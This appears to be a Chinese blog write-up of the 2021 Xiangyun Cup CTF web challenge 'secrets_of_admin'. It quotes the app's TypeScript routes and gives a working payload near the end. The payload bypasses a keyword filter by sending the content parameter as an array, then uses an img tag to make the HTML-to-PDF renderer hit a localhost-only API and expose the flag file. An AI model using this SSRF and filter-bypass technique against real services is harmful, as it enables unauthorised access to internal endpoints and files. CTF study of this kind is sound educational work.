[2021祥云杯]secrets_of_admin writeup + TypeScript看看

48 篇文章 2 订阅

[2021祥云杯]secrets_of_admin

本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ˘ω˘ @)ノ!!

给了源码
在这里插入图片描述

INSERT INTO users (id, username, password) VALUES (1, 'admin','e365655e013ce7fdbdbf8f27b418c8fe6dc9354dc4c0328fa02b0ea547659645');

在这里插入图片描述
database.ts得到密码登陆进去
在这里插入图片描述
然后分析源码,routes/index.ts内是路由:

比较关键的/admin路由

router.get('/admin', checkAuth, async (req, res) => {	//检测登陆的用户token
    let token = req.signedCookies['token'];
    try {
        const files = await DB.listFile(token.username);
        if (files) {
            res.cookie('token', {username: token.username, files: files, isAdmin: true }, { signed: true })
        }
    } catch (err) {
        return res.render('admin', { error: 'Something wrong ... 👻'})
    }
    return res.render('admin');
});

router.post('/admin', checkAuth, (req, res, next) => {
    let { content } = req.body;		//post请求获取一个content值
    if ( content == '' || content.includes('<') || content.includes('>') || content.includes('/') || content.includes('script') || content.includes('on')){
        // even admin can't be trusted right ? :)  
        return res.render('admin', { error: 'Forbidden word 🤬'});
    } else { //将content的值,放在HTML中,存为template
        let template = `	
        <html>
        <meta charset="utf8">
        <title>Create your own pdfs</title>
        <body>
        <h3>${content}</h3>
        </body>
        </html>
        `
        try {
            const filename = `${uuid()}.pdf`
            pdf.create(template, {	//template解析成PDF并保存到指定的目录中
                "format": "Letter",
                "orientation": "portrait",
                "border": "0",
                "type": "pdf",
                "renderDelay": 3000,
                "timeout": 5000
            }).toFile(`./files/${filename}`, async (err, _) => {
                if (err) next(createError(500));
                const checksum = await getCheckSum(filename);
                await DB.Create('superuser', filename, checksum)
                return res.render('admin', { message : `Your pdf is successfully saved 🤑 You know how to download it right?`});
            });
        } catch (err) {
            return res.render('admin', { error : 'Failed to generate pdf 😥'})
        }
    }
});

/api/files路由

router.get('/api/files', async (req, res, next) => {
    if (req.socket.remoteAddress.replace(/^.*:/, '') != '127.0.0.1') {	//只许127.0.0.1访问
        return next(createError(401));
    }
    let { username , filename, checksum } = req.query;
    if (typeof(username) == "string" && typeof(filename) == "string" && typeof(checksum) == "string") {
        try {
            await DB.Create(username, filename, checksum)	//将username, filename, checksum写进数据库的file表
            return res.send('Done')
        } catch (err) {
            return res.send('Error!')
        }
    } else {
        return res.send('Parameters error')
    }
});

还有读文件的/api/files/:id路由

router.get('/api/files/:id', async (req, res) => {
    let token = req.signedCookies['token']
    if (token && token['username']) {
        if (token.username == 'superuser') {
            return res.send('Superuser is disabled now');   //禁止superuser用户
        }
        try {
            let filename = await DB.getFile(token.username, req.params.id)	//根据用户名与url中传输的id去数据库中查找对应的文件名,getFile方法定义见下
            if (fs.existsSync(path.join(__dirname , "../files/", filename))){
                return res.send(await readFile(path.join(__dirname , "../files/", filename)));	//在../files/路径下读取该文件
            } else {
                return res.send('No such file!');
            }
        } catch (err) {
            return res.send('Error!');
        }
    } else {
        return res.redirect('/');
    }
});

上头的DB.getFiledatabase.ts中的定义,就是根据username和checksum在数据库中找文件

    static getFile(username: string, checksum: string): Promise<any> {
        return new Promise((resolve, reject) => {
            db.get(`SELECT filename FROM files WHERE username = ? AND checksum = ?`, username, checksum, (err , result ) => {
                if (err) return reject(err);
                resolve(result ? result['filename'] : null);
            })
        })
    }

思路:

admin路由中:content传入一个src属性的标签触发SSRF并访问api/files路由,利用/api/files在files表中为admin用户创建一个flag文件,然后通过/api/files/:id路由来读取该文件。

相关漏洞:

1.src属性的标签在html中可以自动触发,或者说是HTML转PDF时,HTML里面的图片资源被自动加载进来
2.includes()方法可利用数组绕过:学习笔记-Nodejs相关 - byc_404’s blog (bycsec.top)

payload:

content[]=<img src="http://127.0.0.1:8888/api/files?username=admin&filename=./flag&checksum=123">
//filename写./flag是因为数据库定义中filename是VARCHAR(255) NOT NULL UNIQUE,不可重复,所以不直接写成flag
传的时候需要url编码
content[]=<img+src%3D"http%3A//127.0.0.1:8888/api/files?username%3Dadmin%26filename%3D./flag%26checksum%3D123">

在这里插入图片描述
访问/api/files/123得到flag

本文来自csdn的⭐️shu天⭐️,平时会记录ctf、取证和渗透相关的文章,欢迎大家来我的主页:shu天_CSDN博客-ctf,取证,web领域博主:https://blog.csdn.net/weixin_46081055 看看ヾ(@ ˘ω˘ @)ノ!!

参考wp: https://blog.z3ratu1.cn/%E7%A5%A5%E4%BA%91%E6%9D%AF2021%20wp.html
还有师傅用的http-pdf 任意文件读取漏洞:
https://suyumen.github.io/2021/10/12/2021-10-12-%5B2021%E7%A5%A5%E4%BA%91%E6%9D%AF%5Dsecrets_of_admin/

  • 2
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

shu天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值